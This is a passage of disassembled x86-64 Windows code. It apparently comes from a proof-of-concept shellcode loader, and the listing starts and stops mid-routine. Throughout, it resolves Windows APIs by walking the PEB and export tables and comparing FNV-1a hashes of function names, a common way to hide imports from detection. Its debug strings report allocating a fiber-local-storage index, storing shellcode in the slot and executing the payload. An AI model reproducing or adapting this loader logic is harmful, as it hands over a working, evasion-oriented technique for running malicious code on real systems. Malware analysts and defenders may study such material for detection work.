cmp byte [rsp + 0x5e3], 0
je 0x140021fda
mov cl, byte [rsp + 0x5e3]
mov eax, dword [rsp + 0x5e4]
mov byte [rsp + 0x5ff], cl
mov dword [rsp + 0x5f8], eax
mov eax, dword [rsp + 0x5f8]
mov dword [rsp + 0xdc], eax
movsx eax, byte [rsp + 0x5ff]
cmp eax, 0x41
jl 0x140021fa6
movsx eax, byte [rsp + 0x5ff]
cmp eax, 0x5a
jg 0x140021fa6
movsx eax, byte [rsp + 0x5ff]
or eax, 0x20
mov dword [rsp + 0xd8], eax
jmp 0x140021fb5
movsx eax, byte [rsp + 0x5ff]
mov dword [rsp + 0xd8], eax
mov eax, dword [rsp + 0xdc]
mov ecx, dword [rsp + 0xd8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x5e4], eax
jmp 0x140021f15
mov eax, dword [rsp + 0x5e4]
movabs rcx, 0xf1b4397448a7da16
mov qword [rsp + 0x5d8], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x5d8]
cmp eax, ecx
je 0x14002204d
jmp 0x140021e76
jmp 0x140022017
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x5a8]
mov rcx, qword [rax]
mov qword [rsp + 0x5b0], rcx
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140021da0
mov eax, dword [rsp + 0x594]
mov dword [rsp + 0x5d4], eax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x5c8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x5c0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x5b8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c0]
mov rdx, qword [rsp + 0x5b8]
mov r8d, dword [rsp + 0x5d4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0x588]
call fcn.14002f000
mov qword [rsp + 0xc8], rax
mov rcx, qword [rsp + 0x580]
call fcn.14002f000
mov rdx, qword [rsp + 0xc8]
mov rcx, rax
mov rax, qword [rsp + 0xd0]
call rax
mov dword [rsp + 0xb2c], 0
lea rax, [rsp + 0xb2c]
mov qword [rsp + 0xb20], rax
mov rax, qword [rsp + 0xb78]
mov qword [rsp + 0xb18], rax
lea rax, [rsp + 0xb20]
mov qword [rsp + 0x650], rax
lea rax, [rsp + 0xb18]
mov qword [rsp + 0x648], rax
lea rax, [rsp + 0xb28]
mov qword [rsp + 0x640], rax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x668], rax
mov rax, qword [rsp + 0x668]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xc88]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x6f8], rax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x6f0], rax
mov rax, qword [rsp + 0x6f0]
mov rcx, qword [rsp + 0x6f8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x6f8]
mov qword [rsp + 0x700], rcx
mov rcx, qword [rsp + 0x700]
mov rdx, qword [rsp + 0x700]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xc90], rcx
mov rcx, qword [rsp + 0x6f8]
mov edx, dword [rsp + 0xc90]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xc94]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x6e8], rax
mov rcx, qword [rsp + 0x6e8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140022410
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x6e0], rax
mov rax, qword [rsp + 0x6e0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x65c], eax
mov eax, dword [rsp + 0x65c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x65c], ecx
cmp eax, 0
je 0x14002240b
movabs rax, 0xe778a80e53d8464c
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0x6d8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x65c]
mov dword [rsp + 0x6d4], eax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x6c8], rax
mov r8, qword [rsp + 0x6c8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x6d4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x6bc], ecx
mov qword [rsp + 0x6b0], rax
mov eax, dword [rsp + 0x6bc]
mov dword [rsp + 0x6ac], eax
mov rax, qword [rsp + 0x6b0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x6b0], rcx
mov al, byte [rax]
mov byte [rsp + 0x6ab], al
cmp byte [rsp + 0x6ab], 0
je 0x1400223d3
mov cl, byte [rsp + 0x6ab]
mov eax, dword [rsp + 0x6ac]
mov byte [rsp + 0x6c7], cl
mov dword [rsp + 0x6c0], eax
mov eax, dword [rsp + 0x6c0]
mov dword [rsp + 0xc4], eax
movsx eax, byte [rsp + 0x6c7]
cmp eax, 0x41
jl 0x14002239f
movsx eax, byte [rsp + 0x6c7]
cmp eax, 0x5a
jg 0x14002239f
movsx eax, byte [rsp + 0x6c7]
or eax, 0x20
mov dword [rsp + 0xc0], eax
jmp 0x1400223ae
movsx eax, byte [rsp + 0x6c7]
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xc0]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x6ac], eax
jmp 0x14002230e
mov eax, dword [rsp + 0x6ac]
movabs rcx, 0xe778a80e53d8464c
mov qword [rsp + 0x6a0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x6a0]
cmp eax, ecx
je 0x140022446
jmp 0x14002226f
jmp 0x140022410
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x670]
mov rcx, qword [rax]
mov qword [rsp + 0x678], rcx
mov rcx, qword [rsp + 0x678]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140022199
mov eax, dword [rsp + 0x65c]
mov dword [rsp + 0x69c], eax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x690]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x688], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x680], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x688]
mov rdx, qword [rsp + 0x680]
mov r8d, dword [rsp + 0x69c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0x650]
call fcn.14002f000
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0x648]
call fcn.14002f000
mov rdx, qword [rsp + 0xb0]
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rcx]
call rax
lea rax, [0x140030498]
mov qword [rsp + 0x718], rax
lea rax, str._4s___FLS_index_allocated_n
mov qword [rsp + 0x710], rax
lea rax, [rsp + 0xb10]
mov qword [rsp + 0x708], rax
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xcb0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x7c0], rax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x7b8], rax
mov rax, qword [rsp + 0x7b8]
mov rcx, qword [rsp + 0x7c0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x7c0]
mov qword [rsp + 0x7c8], rcx
mov rcx, qword [rsp + 0x7c8]
mov rdx, qword [rsp + 0x7c8]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xcb8], rcx
mov rcx, qword [rsp + 0x7c0]
mov edx, dword [rsp + 0xcb8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xcbc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x7b0], rax
mov rcx, qword [rsp + 0x7b0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x1400227e2
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x7a8], rax
mov rax, qword [rsp + 0x7a8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x724], eax
mov eax, dword [rsp + 0x724]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x724], ecx
cmp eax, 0
je 0x1400227dd
movabs rax, 0x9c06b35ae2ee16f8
mov qword [rsp + 0x7a0], rax
mov rax, qword [rsp + 0x7a0]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x724]
mov dword [rsp + 0x79c], eax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x790], rax
mov r8, qword [rsp + 0x790]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x79c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x784], ecx
mov qword [rsp + 0x778], rax
mov eax, dword [rsp + 0x784]
mov dword [rsp + 0x774], eax
mov rax, qword [rsp + 0x778]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x778], rcx
mov al, byte [rax]
mov byte [rsp + 0x773], al
cmp byte [rsp + 0x773], 0
je 0x1400227a5
mov cl, byte [rsp + 0x773]
mov eax, dword [rsp + 0x774]
mov byte [rsp + 0x78f], cl
mov dword [rsp + 0x788], eax
mov eax, dword [rsp + 0x788]
mov dword [rsp + 0xac], eax
movsx eax, byte [rsp + 0x78f]
cmp eax, 0x41
jl 0x140022771
movsx eax, byte [rsp + 0x78f]
cmp eax, 0x5a
jg 0x140022771
movsx eax, byte [rsp + 0x78f]
or eax, 0x20
mov dword [rsp + 0xa8], eax
jmp 0x140022780
movsx eax, byte [rsp + 0x78f]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x774], eax
jmp 0x1400226e0
mov eax, dword [rsp + 0x774]
movabs rcx, 0x9c06b35ae2ee16f8
mov qword [rsp + 0x768], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x768]
cmp eax, ecx
je 0x140022818
jmp 0x140022641
jmp 0x1400227e2
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rax]
mov qword [rsp + 0x740], rcx
mov rcx, qword [rsp + 0x740]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002256b
mov eax, dword [rsp + 0x724]
mov dword [rsp + 0x764], eax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x758]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x750], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x748], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x748]
mov r8d, dword [rsp + 0x764]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x728], rax
mov rax, qword [rsp + 0x728]
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0x718]
call fcn.14002f000
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x710]
call fcn.14002f000
mov rdx, qword [rsp + 0x98]
mov rcx, rax
mov rax, qword [rsp + 0xa0]
call rax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0xb00], rax
lea rax, [rsp + 0xb00]
mov qword [rsp + 0x7e0], rax
lea rax, [rsp + 0xb2c]
mov qword [rsp + 0x7d8], rax
lea rax, [rsp + 0xb08]
mov qword [rsp + 0x7d0], rax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xcd8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x888], rax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x880], rax
mov rax, qword [rsp + 0x880]
mov rcx, qword [rsp + 0x888]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x888]
mov qword [rsp + 0x890], rcx
mov rcx, qword [rsp + 0x890]
mov rdx, qword [rsp + 0x890]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xce0], rcx
mov rcx, qword [rsp + 0x888]
mov edx, dword [rsp + 0xce0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xce4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x878], rax
mov rcx, qword [rsp + 0x878]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140022bc0
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x870], rax
mov rax, qword [rsp + 0x870]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x7ec], eax
mov eax, dword [rsp + 0x7ec]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x7ec], ecx
cmp eax, 0
je 0x140022bbb
movabs rax, 0xd0b3deb5f571781d
mov qword [rsp + 0x868], rax
mov rax, qword [rsp + 0x868]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x7ec]
mov dword [rsp + 0x864], eax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x858], rax
mov r8, qword [rsp + 0x858]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x864]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x84c], ecx
mov qword [rsp + 0x840], rax
mov eax, dword [rsp + 0x84c]
mov dword [rsp + 0x83c], eax
mov rax, qword [rsp + 0x840]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x840], rcx
mov al, byte [rax]
mov byte [rsp + 0x83b], al
cmp byte [rsp + 0x83b], 0
je 0x140022b83
mov cl, byte [rsp + 0x83b]
mov eax, dword [rsp + 0x83c]
mov byte [rsp + 0x857], cl
mov dword [rsp + 0x850], eax
mov eax, dword [rsp + 0x850]
mov dword [rsp + 0x94], eax
movsx eax, byte [rsp + 0x857]
cmp eax, 0x41
jl 0x140022b4f
movsx eax, byte [rsp + 0x857]
cmp eax, 0x5a
jg 0x140022b4f
movsx eax, byte [rsp + 0x857]
or eax, 0x20
mov dword [rsp + 0x90], eax
jmp 0x140022b5e
movsx eax, byte [rsp + 0x857]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x90]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x83c], eax
jmp 0x140022abe
mov eax, dword [rsp + 0x83c]
movabs rcx, 0xd0b3deb5f571781d
mov qword [rsp + 0x830], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x830]
cmp eax, ecx
je 0x140022bf6
jmp 0x140022a1f
jmp 0x140022bc0
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x800]
mov rcx, qword [rax]
mov qword [rsp + 0x808], rcx
mov rcx, qword [rsp + 0x808]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140022949
mov eax, dword [rsp + 0x7ec]
mov dword [rsp + 0x82c], eax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0x820]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x818], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x810], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x818]
mov rdx, qword [rsp + 0x810]
mov r8d, dword [rsp + 0x82c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x7f0], rax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x7e0]
call fcn.14002f000
mov rax, qword [rax]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x7d8]
call fcn.14002f000
mov rdx, qword [rsp + 0x80]
mov rcx, rax
mov rax, qword [rsp + 0x88]
mov ecx, dword [rcx]
call rax
lea rax, [0x140030498]
mov qword [rsp + 0x8a8], rax
lea rax, str._4s___Shellcode_stored_in_FLS_slot_n
mov qword [rsp + 0x8a0], rax
lea rax, [rsp + 0xaf8]
mov qword [rsp + 0x898], rax
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rsp + 0x8c0]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xd00]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x950], rax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x948], rax
mov rax, qword [rsp + 0x948]
mov rcx, qword [rsp + 0x950]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x950]
mov qword [rsp + 0x958], rcx
mov rcx, qword [rsp + 0x958]
mov rdx, qword [rsp + 0x958]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xd08], rcx
mov rcx, qword [rsp + 0x950]
mov edx, dword [rsp + 0xd08]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xd0c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x940], rax
mov rcx, qword [rsp + 0x940]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140022f82
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x938], rax
mov rax, qword [rsp + 0x938]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x8b4], eax
mov eax, dword [rsp + 0x8b4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x8b4], ecx
cmp eax, 0
je 0x140022f7d
movabs rax, 0x229d7c7704ffaf13
mov qword [rsp + 0x930], rax
mov rax, qword [rsp + 0x930]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x8b4]
mov dword [rsp + 0x92c], eax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x920], rax
mov r8, qword [rsp + 0x920]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x92c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x914], ecx
mov qword [rsp + 0x908], rax
mov eax, dword [rsp + 0x914]
mov dword [rsp + 0x904], eax
mov rax, qword [rsp + 0x908]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x908], rcx
mov al, byte [rax]
mov byte [rsp + 0x903], al
cmp byte [rsp + 0x903], 0
je 0x140022f45
mov cl, byte [rsp + 0x903]
mov eax, dword [rsp + 0x904]
mov byte [rsp + 0x91f], cl
mov dword [rsp + 0x918], eax
mov eax, dword [rsp + 0x918]
mov dword [rsp + 0x7c], eax
movsx eax, byte [rsp + 0x91f]
cmp eax, 0x41
jl 0x140022f1a
movsx eax, byte [rsp + 0x91f]
cmp eax, 0x5a
jg 0x140022f1a
movsx eax, byte [rsp + 0x91f]
or eax, 0x20
mov dword [rsp + 0x78], eax
jmp 0x140022f26
movsx eax, byte [rsp + 0x91f]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x7c]
mov ecx, dword [rsp + 0x78]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x904], eax
jmp 0x140022e8f
mov eax, dword [rsp + 0x904]
movabs rcx, 0x229d7c7704ffaf13
mov qword [rsp + 0x8f8], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x8f8]
cmp eax, ecx
je 0x140022fb8
jmp 0x140022df0
jmp 0x140022f82
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x8c8], rax
mov rax, qword [rsp + 0x8c8]
mov rcx, qword [rax]
mov qword [rsp + 0x8d0], rcx
mov rcx, qword [rsp + 0x8d0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140022d1a
mov eax, dword [rsp + 0x8b4]
mov dword [rsp + 0x8f4], eax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x8e8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x8e0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x8d8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e0]
mov rdx, qword [rsp + 0x8d8]
mov r8d, dword [rsp + 0x8f4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x8b8], rax
mov rax, qword [rsp + 0x8b8]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x8a8]
call fcn.14002f000
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x8a0]
call fcn.14002f000
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rax, qword [rsp + 0x70]
call rax
lea rax, [0x140030498]
mov qword [rsp + 0x970], rax
lea rax, str._4s___Payload_executed_n
mov qword [rsp + 0x968], rax
lea rax, [rsp + 0xaf0]
mov qword [rsp + 0x960], rax
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x988], rax
mov rax, qword [rsp + 0x988]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xd28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xa18], rax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0xa10], rax
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0xa18]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xa18]
mov qword [rsp + 0xa20], rcx
mov rcx, qword [rsp + 0xa20]
mov rdx, qword [rsp + 0xa20]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xd30], rcx
mov rcx, qword [rsp + 0xa18]
mov edx, dword [rsp + 0xd30]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xd34]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xd10]
mov qword [rsp + 0xa08], rax
mov rcx, qword [rsp + 0xa08]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140023333
lea rax, [rsp + 0xd10]
mov qword [rsp + 0xa00], rax
mov rax, qword [rsp + 0xa00]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x97c], eax
mov eax, dword [rsp + 0x97c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x97c], ecx
cmp eax, 0
je 0x14002332e
movabs rax, 0xeddd8a588adb8d02
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x97c]
mov dword [rsp + 0x9f4], eax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x9e8], rax
mov r8, qword [rsp + 0x9e8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x9f4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x9dc], ecx
mov qword [rsp + 0x9d0], rax
mov eax, dword [rsp + 0x9dc]
mov dword [rsp + 0x9cc], eax
mov rax, qword [rsp + 0x9d0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x9d0], rcx
mov al, byte [rax]
mov byte [rsp + 0x9cb], al
cmp byte [rsp + 0x9cb], 0
je 0x1400232f6
mov cl, byte [rsp + 0x9cb]
mov eax, dword [rsp + 0x9cc]
mov byte [rsp + 0x9e7], cl
mov dword [rsp + 0x9e0], eax
mov eax, dword [rsp + 0x9e0]
mov dword [rsp + 0x64], eax
movsx eax, byte [rsp + 0x9e7]
cmp eax, 0x41
jl 0x1400232cb
movsx eax, byte [rsp + 0x9e7]
cmp eax, 0x5a
jg 0x1400232cb
movsx eax, byte [rsp + 0x9e7]
or eax, 0x20
mov dword [rsp + 0x60], eax
jmp 0x1400232d7
movsx eax, byte [rsp + 0x9e7]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x9cc], eax
jmp 0x140023240
mov eax, dword [rsp + 0x9cc]
movabs rcx, 0xeddd8a588adb8d02
mov qword [rsp + 0x9c0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x9c0]
cmp eax, ecx
je 0x140023369
jmp 0x1400231a1
jmp 0x140023333
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x990]
mov rcx, qword [rax]
mov qword [rsp + 0x998], rcx
mov rcx, qword [rsp + 0x998]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x1400230cb
mov eax, dword [rsp + 0x97c]
mov dword [rsp + 0x9bc], eax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x9b0], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x9a8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x9a0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a8]
mov rdx, qword [rsp + 0x9a0]
mov r8d, dword [rsp + 0x9bc]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x970]
call fcn.14002f000
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x968]
call fcn.14002f000
mov rdx, qword [rsp + 0x50]
mov rcx, rax
mov rax, qword [rsp + 0x58]
call rax
lea rax, [rsp + 0xb2c]
mov qword [rsp + 0xa30], rax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0xa28], rax
lea rax, [rsp + 0xd50]
mov qword [rsp + 0xa48], rax
mov rax, qword [rsp + 0xa48]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xad8], rax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov rcx, qword [rsp + 0xad8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xad8]
mov qword [rsp + 0xae0], rcx
mov rcx, qword [rsp + 0xae0]
mov rdx, qword [rsp + 0xae0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xd58], rcx
mov rcx, qword [rsp + 0xad8]
mov edx, dword [rsp + 0xd58]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xd5c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xd38]
mov qword [rsp + 0xac8], rax
mov rcx, qword [rsp + 0xac8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x1400236d6
lea rax, [rsp + 0xd38]
mov qword [rsp + 0xac0], rax
mov rax, qword [rsp + 0xac0]
mov rax, qword [rax + 8]
